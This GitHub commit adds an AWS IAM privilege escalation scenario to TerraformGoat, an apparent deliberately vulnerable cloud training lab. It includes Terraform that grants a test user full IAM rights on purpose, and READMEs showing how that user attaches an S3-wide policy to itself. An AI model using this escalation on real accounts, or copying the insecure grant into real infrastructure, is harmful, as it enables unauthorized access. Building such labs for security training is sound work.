Skip to content

Commit 48323e0

Browse files
teamssixteamssix
authored
Merge pull request #30 from teamssix/main
feat: add aws iam privilege escalation scenario
2 parents c0e1400 + e088619 commit 48323e0

File tree

11 files changed

+308
-18
lines changed

11 files changed

+308
-18
lines changed

‎Dockerfile‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,8 @@ RUN apt-get update -y && \
77
apt-get install -qy vim && \
88
apt-get install -qy lsb-release && \
99
apt-get install -qy software-properties-common && \
10+
apt-get install -y -qq less && \
11+
apt-get install -y -qq groff && \
1012
curl -fsSL https://apt.releases.hashicorp.com/gpg | apt-key add - 2>/dev/null && \
1113
apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main" && \
1214
apt-get update && \

‎README.md‎

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# :star2: TerraformGoat
1+
# TerraformGoat
22

33
[![License: Apache-2.0](https://img.shields.io/badge/license-Apache--2.0-blue)](https://github.com/HuoCorp/TerraformGoat/blob/main/LICENSE) [![GitHub release](https://img.shields.io/github/release/HuoCorp/TerraformGoat.svg)](https://github.com/HuoCorp/TerraformGoat/releases) [![Github Stars](https://img.shields.io/github/stars/HuoCorp/TerraformGoat)](https://github.com/HuoCorp/TerraformGoat/stargazers) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](https://github.com/HuoCorp/TerraformGoat/pulls) [![tweet](https://img.shields.io/twitter/url?url=https://github.com/HuoCorp/TerraformGoat)](https://twitter.com/intent/tweet/?text=TerraformGoat%20is%20HuoCorp%20research%20lab's%20%22Vulnerable%20by%20Design%22%20multi%20cloud%20deployment%20tool.%20Check%20it%20out%20https%3A%2F%2Fgithub.com%2FHuoCorp%2FTerraformGoat%0A%23TerraformGoat%20%23Terraform%20%23Cloud%20%23Security%20%23cloudsecurity)
44

@@ -33,14 +33,15 @@ Currently supported cloud vendors include Alibaba Cloud, Tencent Cloud, Huawei C
3333
| 19 | Amazon Web Services | Object Storage | [Unrestricted File Upload](https://github.com/HuoCorp/TerraformGoat/tree/main/aws/object_storage_service/unrestricted_file_upload) |
3434
| 20 | Amazon Web Services | Elastic Computing Service | [EC2 SSRF](https://github.com/HuoCorp/TerraformGoat/tree/main/aws/elastic_computing_service/ec2_ssrf) |
3535
| 21 | Amazon Web Services | Elastic Computing Service | [Console Takeover](https://github.com/HuoCorp/TerraformGoat/tree/main/aws/elastic_computing_service/console_takeover) |
36-
| 22 | Google Cloud Platform | Object Storage | [Object ACL Writable](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/object_acl_writable) |
37-
| 23 | Google Cloud Platform | Object Storage | [Bucket ACL Writable](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/bucket_acl_writable) |
38-
| 24 | Google Cloud Platform | Object Storage | [Bucket Object Traversal](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/bucket_object_traversal) |
39-
| 25 | Google Cloud Platform | Object Storage | [Unrestricted File Upload](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/unrestricted_file_upload) |
40-
| 26 | Google Cloud Platform | Elastic Computing Service | [VM Command Execution](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/elastic_computing_service/vm_command_execution) |
41-
| 27 | Microsoft Azure | Object Storage | [Blob Public Access](https://github.com/HuoCorp/TerraformGoat/tree/main/azure/object_storage_service/blob_public_access/) |
42-
| 28 | Microsoft Azure | Object Storage | [Container Blob Traversal](https://github.com/HuoCorp/TerraformGoat/tree/main/azure/object_storage_service/container_blob_traversal/) |
43-
| 29 | Microsoft Azure | Elastic Computing Service | [VM Command Execution](https://github.com/HuoCorp/TerraformGoat/tree/main/azure/elastic_computing_service/vm_command_execution) |
36+
| 22 | Amazon Web Services | Identity and Access Management | [IAM Privilege Escalation](https://github.com/HuoCorp/TerraformGoat/tree/main/aws/identity_and_access_management/privilege_escalation) |
37+
| 23 | Google Cloud Platform | Object Storage | [Object ACL Writable](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/object_acl_writable) |
38+
| 24 | Google Cloud Platform | Object Storage | [Bucket ACL Writable](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/bucket_acl_writable) |
39+
| 25 | Google Cloud Platform | Object Storage | [Bucket Object Traversal](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/bucket_object_traversal) |
40+
| 26 | Google Cloud Platform | Object Storage | [Unrestricted File Upload](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/unrestricted_file_upload) |
41+
| 27 | Google Cloud Platform | Elastic Computing Service | [VM Command Execution](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/elastic_computing_service/vm_command_execution) |
42+
| 28 | Microsoft Azure | Object Storage | [Blob Public Access](https://github.com/HuoCorp/TerraformGoat/tree/main/azure/object_storage_service/blob_public_access/) |
43+
| 29 | Microsoft Azure | Object Storage | [Container Blob Traversal](https://github.com/HuoCorp/TerraformGoat/tree/main/azure/object_storage_service/container_blob_traversal/) |
44+
| 30 | Microsoft Azure | Elastic Computing Service | [VM Command Execution](https://github.com/HuoCorp/TerraformGoat/tree/main/azure/elastic_computing_service/vm_command_execution) |
4445

4546
## :dizzy: Install
4647

‎README_CN.md‎

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# :star2: TerraformGoat
1+
# TerraformGoat
22

33
[![License: Apache-2.0](https://img.shields.io/badge/license-Apache--2.0-blue)](https://github.com/HuoCorp/TerraformGoat/blob/main/LICENSE) [![GitHub release](https://img.shields.io/github/release/HuoCorp/TerraformGoat.svg)](https://github.com/HuoCorp/TerraformGoat/releases) [![Github Stars](https://img.shields.io/github/stars/HuoCorp/TerraformGoat)](https://github.com/HuoCorp/TerraformGoat/stargazers) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](https://github.com/HuoCorp/TerraformGoat/pulls) [![tweet](https://img.shields.io/twitter/url?url=https://github.com/HuoCorp/TerraformGoat)](https://twitter.com/intent/tweet/?text=TerraformGoat%20is%20HuoCorp%20research%20lab's%20%22Vulnerable%20by%20Design%22%20multi%20cloud%20deployment%20tool.%20Check%20it%20out%20https%3A%2F%2Fgithub.com%2FHuoCorp%2FTerraformGoat%0A%23TerraformGoat%20%23Terraform%20%23Cloud%20%23Security%20%23cloudsecurity)
44

@@ -32,14 +32,15 @@ Cloud Platform、Microsoft Azure 六个云厂商的云场景漏洞搭建。
3232
| 19 | Amazon Web Services | 对象存储 | [特殊的 Bucket 策略](https://github.com/HuoCorp/TerraformGoat/tree/main/aws/object_storage_service/special_bucket_policy) |
3333
| 20 | Amazon Web Services | 弹性计算服务 | [EC2 SSRF 漏洞环境](https://github.com/HuoCorp/TerraformGoat/tree/main/aws/elastic_computing_service/ec2_ssrf) |
3434
| 21 | Amazon Web Services | 弹性计算服务 | [控制台接管漏洞环境](https://github.com/HuoCorp/TerraformGoat/tree/main/aws/elastic_computing_service/console_takeover) |
35-
| 22 | Google Cloud Platform | 对象存储 | [任意文件上传](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/unrestricted_file_upload) |
36-
| 23 | Google Cloud Platform | 对象存储 | [Object ACL 可写](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/object_acl_writable) |
37-
| 24 | Google Cloud Platform | 对象存储 | [Bucket ACL 可写](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/bucket_acl_writable) |
38-
| 25 | Google Cloud Platform | 对象存储 | [Bucket 对象遍历](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/bucket_object_traversal) |
39-
| 26 | Google Cloud Platform | 弹性计算服务 | [VM 命令执行漏洞环境](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/elastic_computing_service/vm_command_execution) |
40-
| 27 | Microsoft Azure | 对象存储 | [Blob 公开访问](https://github.com/HuoCorp/TerraformGoat/tree/main/azure/object_storage_service/blob_public_access/) |
41-
| 28 | Microsoft Azure | 对象存储 | [Container Blob 遍历](https://github.com/HuoCorp/TerraformGoat/tree/main/azure/object_storage_service/container_blob_traversal/) |
42-
| 29 | Microsoft Azure | 弹性计算服务 | [VM 命令执行漏洞环境](https://github.com/HuoCorp/TerraformGoat/tree/main/azure/elastic_computing_service/vm_command_execution) |
35+
| 22 | Amazon Web Services | 身份和访问管理 | [IAM 提权环境](https://github.com/HuoCorp/TerraformGoat/tree/main/aws/identity_and_access_management/privilege_escalation) |
36+
| 23 | Google Cloud Platform | 对象存储 | [任意文件上传](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/unrestricted_file_upload) |
37+
| 24 | Google Cloud Platform | 对象存储 | [Object ACL 可写](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/object_acl_writable) |
38+
| 25 | Google Cloud Platform | 对象存储 | [Bucket ACL 可写](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/bucket_acl_writable) |
39+
| 26 | Google Cloud Platform | 对象存储 | [Bucket 对象遍历](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/object_storage_service/bucket_object_traversal) |
40+
| 27 | Google Cloud Platform | 弹性计算服务 | [VM 命令执行漏洞环境](https://github.com/HuoCorp/TerraformGoat/tree/main/gcp/elastic_computing_service/vm_command_execution) |
41+
| 28 | Microsoft Azure | 对象存储 | [Blob 公开访问](https://github.com/HuoCorp/TerraformGoat/tree/main/azure/object_storage_service/blob_public_access/) |
42+
| 29 | Microsoft Azure | 对象存储 | [Container Blob 遍历](https://github.com/HuoCorp/TerraformGoat/tree/main/azure/object_storage_service/container_blob_traversal/) |
43+
| 30 | Microsoft Azure | 弹性计算服务 | [VM 命令执行漏洞环境](https://github.com/HuoCorp/TerraformGoat/tree/main/azure/elastic_computing_service/vm_command_execution) |
4344

4445
## :dizzy: 安装
4546

‎aws/identity_and_access_management/privilege_escalation/README.md‎

Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
# AWS IAM Privilege Escalation Vulnerable Environment
2+
3+
English | [中文](./README_CN.md)
4+
5+
## Description
6+
7+
This is a scenario used to build the AWS IAM privilege escalation vulnerability environment.
8+
9+
After building the environment with Terraform, The IAM privilege elevation vulnerability can be used to access services that you would not otherwise have permission to access.
10+
11+
## Deployment Environment
12+
13+
Execute the following command in the container
14+
15+
```shell
16+
cd /TerraformGoat/aws/identity_and_access_management/privilege_escalation
17+
```
18+
19+
Configure AWS Access Credentials
20+
21+
```shell
22+
aws configure
23+
```
24+
25+
> You can see the access key in the AWS [Console --> Security Credentials]
26+
27+
Deploy Vulnerable Environment
28+
29+
```shell
30+
terraform init
31+
terraform apply
32+
```
33+
34+
> When the terminal prompts `Enter a value:`, enter `yes`
35+
36+
After building the scenario, use the following command to view the access_key_id and secret_access_key of the low privilege account.
37+
38+
```shell
39+
apt-get install jq -y
40+
terraform state pull | jq '.resources[] | select(.type == "aws_iam_access_key") | .instances[0].attributes'
41+
```
42+
43+
![img](../../../images/1652690733.png)
44+
45+
## Vulnerability Utilization
46+
47+
First configure the access_key_id and secret_access_key of the low privilege account.
48+
49+
```shell
50+
aws configure
51+
```
52+
53+
After the configuration, here is an example of S3 service, try to run the following command, you can see the return message shows that access is denied.
54+
55+
```shell
56+
aws s3 ls
57+
```
58+
59+
![img](../../../images/1652690932.png)
60+
61+
Get the privileges held by the current user.
62+
63+
```shell
64+
aws iam get-user
65+
aws iam list-user-policies --user-name huoxian_terraform_test
66+
aws iam get-user-policy --user-name huoxian_terraform_test --policy-name IAMFullAccess
67+
```
68+
69+
![img](../../../images/1652692179.png)
70+
71+
You can see that the current user has all the privileges of IAM, which means that we can give S3 privileges to the current user, thus enabling the current user to access S3 service resources.
72+
73+
Edit policy file
74+
75+
```shell
76+
vim AmazonS3FullAccess.json
77+
```
78+
79+
The contents of the policy file are as follows:
80+
81+
```json
82+
{
83+
"Version": "2012-10-17",
84+
"Statement": [
85+
{
86+
"Effect": "Allow",
87+
"Action": [
88+
"s3:*",
89+
"s3-object-lambda:*"
90+
],
91+
"Resource": "*"
92+
}
93+
]
94+
}
95+
```
96+
97+
PUT policy file
98+
99+
```shell
100+
aws iam put-user-policy --user-name huoxian_terraform_test --policy-name AmazonS3FullAccess --policy-document file://AmazonS3FullAccess.json
101+
```
102+
103+
Try again to get the S3 service resource, you can see that it has been obtained, which means that the policy file is in effect, so that the IAM privilege elevation is achieved.
104+
105+
```shell
106+
aws s3 ls
107+
```
108+
109+
![img](../../../images/1652692416.png)
110+
111+
## Destroy the environment
112+
113+
```shell
114+
aws iam delete-user-policy --user-name huoxian_terraform_test --policy-name AmazonS3FullAccess
115+
terraform destroy
116+
```

‎aws/identity_and_access_management/privilege_escalation/README_CN.md‎

Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
# AWS IAM 提权漏洞环境
2+
3+
[English](./README.md) | 中文
4+
5+
## 描述信息
6+
7+
这是一个用于构建 AWS IAM 提权漏洞环境的靶场。
8+
9+
使用 Terraform 构建环境后，用户可以通过 IAM 提权漏洞访问到原本没有权限访问的服务。
10+
11+
## 环境搭建
12+
13+
在容器中执行以下命令
14+
15+
```shell
16+
cd /TerraformGoat/aws/identity_and_access_management/privilege_escalation
17+
```
18+
19+
配置 AWS 访问凭证
20+
21+
```shell
22+
aws configure
23+
```
24+
25+
> 在 AWS 「控制台——》安全凭证」处可以设置并查看你的 `aws_access_key_id` 和 `aws_secret_access_key`
26+
27+
部署靶场
28+
29+
```shell
30+
terraform init
31+
terraform apply
32+
```
33+
34+
> 在终端提示 `Enter a value:` 时，输入 `yes` 即可
35+
36+
环境搭建完后，通过以下命令查看低权限账号的 access_key_id 和 secret_access_key
37+
38+
```shell
39+
apt-get install jq -y
40+
terraform state pull | jq '.resources[] | select(.type == "aws_iam_access_key") | .instances[0].attributes'
41+
```
42+
43+
![img](../../../images/1652690733.png)
44+
45+
## 漏洞利用
46+
47+
首先配置上低权限账号的 access_key_id 和 secret_access_key
48+
49+
```shell
50+
aws configure
51+
```
52+
53+
配置完后，这里以 S3 服务为例，尝试运行以下命令，发现访问被拒绝
54+
55+
```shell
56+
aws s3 ls
57+
```
58+
59+
![img](../../../images/1652690932.png)
60+
61+
查看当前用户的权限
62+
63+
```shell
64+
aws iam get-user
65+
aws iam list-user-policies --user-name huoxian_terraform_test
66+
aws iam get-user-policy --user-name huoxian_terraform_test --policy-name IAMFullAccess
67+
```
68+
69+
![img](../../../images/1652692179.png)
70+
71+
发现当前用户有 IAM 的所有权限，这也就意味着我们可以给当前用户赋予 S3 的权限，从而使当前用户拥有 S3 服务的权限。
72+
73+
编辑策略文件
74+
75+
```shell
76+
vim AmazonS3FullAccess.json
77+
```
78+
79+
文件内容如下：
80+
81+
```json
82+
{
83+
"Version": "2012-10-17",
84+
"Statement": [
85+
{
86+
"Effect": "Allow",
87+
"Action": [
88+
"s3:*",
89+
"s3-object-lambda:*"
90+
],
91+
"Resource": "*"
92+
}
93+
]
94+
}
95+
```
96+
97+
上传策略文件
98+
99+
```shell
100+
aws iam put-user-policy --user-name huoxian_terraform_test --policy-name AmazonS3FullAccess --policy-document file://AmazonS3FullAccess.json
101+
```
102+
103+
再次尝试获取 S3 服务内容，发现已经可以获取了，说明策略文件生效了，这样就实现了 IAM 提权。
104+
105+
```shell
106+
aws s3 ls
107+
```
108+
109+
![img](../../../images/1652692416.png)
110+
111+
## 销毁环境
112+
113+
```shell
114+
aws iam delete-user-policy --user-name huoxian_terraform_test --policy-name AmazonS3FullAccess
115+
terraform destroy
116+
```

‎aws/identity_and_access_management/privilege_escalation/main.tf‎

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
provider "aws" {
2+
region = "us-east-1"
3+
}
4+
5+
resource "aws_iam_user" "huoxian_terraform_user" {
6+
name = "huoxian_terraform_test"
7+
}
8+
9+
resource "aws_iam_access_key" "huoxian_terraform_access_key" {
10+
user = aws_iam_user.huoxian_terraform_user.name
11+
depends_on = [aws_iam_user.huoxian_terraform_user]
12+
}
13+
14+
resource "aws_iam_user_policy" "huoxian_terraform_policy" {
15+
name = "IAMFullAccess"
16+
user = aws_iam_user.huoxian_terraform_user.name
17+
depends_on = [aws_iam_user.huoxian_terraform_user]
18+
policy = <<EOF
19+
{
20+
"Version": "2012-10-17",
21+
"Statement": [
22+
{
23+
"Action": [
24+
"iam:*",
25+
"organizations:DescribeAccount",
26+
"organizations:DescribeOrganization",
27+
"organizations:DescribeOrganizationalUnit",
28+
"organizations:DescribePolicy",
29+
"organizations:ListChildren",
30+
"organizations:ListParents",
31+
"organizations:ListPoliciesForTarget",
32+
"organizations:ListRoots",
33+
"organizations:ListPolicies",
34+
"organizations:ListTargetsForPolicy"
35+
],
36+
"Effect": "Allow",
37+
"Resource": "*"
38+
}
39+
]
40+
}
41+
EOF
42+
}
43+
44+
data "template_file" "secret" {
45+
template = aws_iam_access_key.huoxian_terraform_access_key.encrypted_secret
46+
}

‎aws/identity_and_access_management/privilege_escalation/versions.tf‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
terraform {
2+
required_providers {
3+
aws = {
4+
source = "hashicorp/aws"
5+
version = "4.10.0"
6+
}
7+
}
8+
}

‎images/1652690733.png‎

202 KB
Loading

‎images/1652690932.png‎

37.8 KB
Loading

‎images/1652692179.png‎

176 KB
Loading

0 commit comments

Comments
 (0)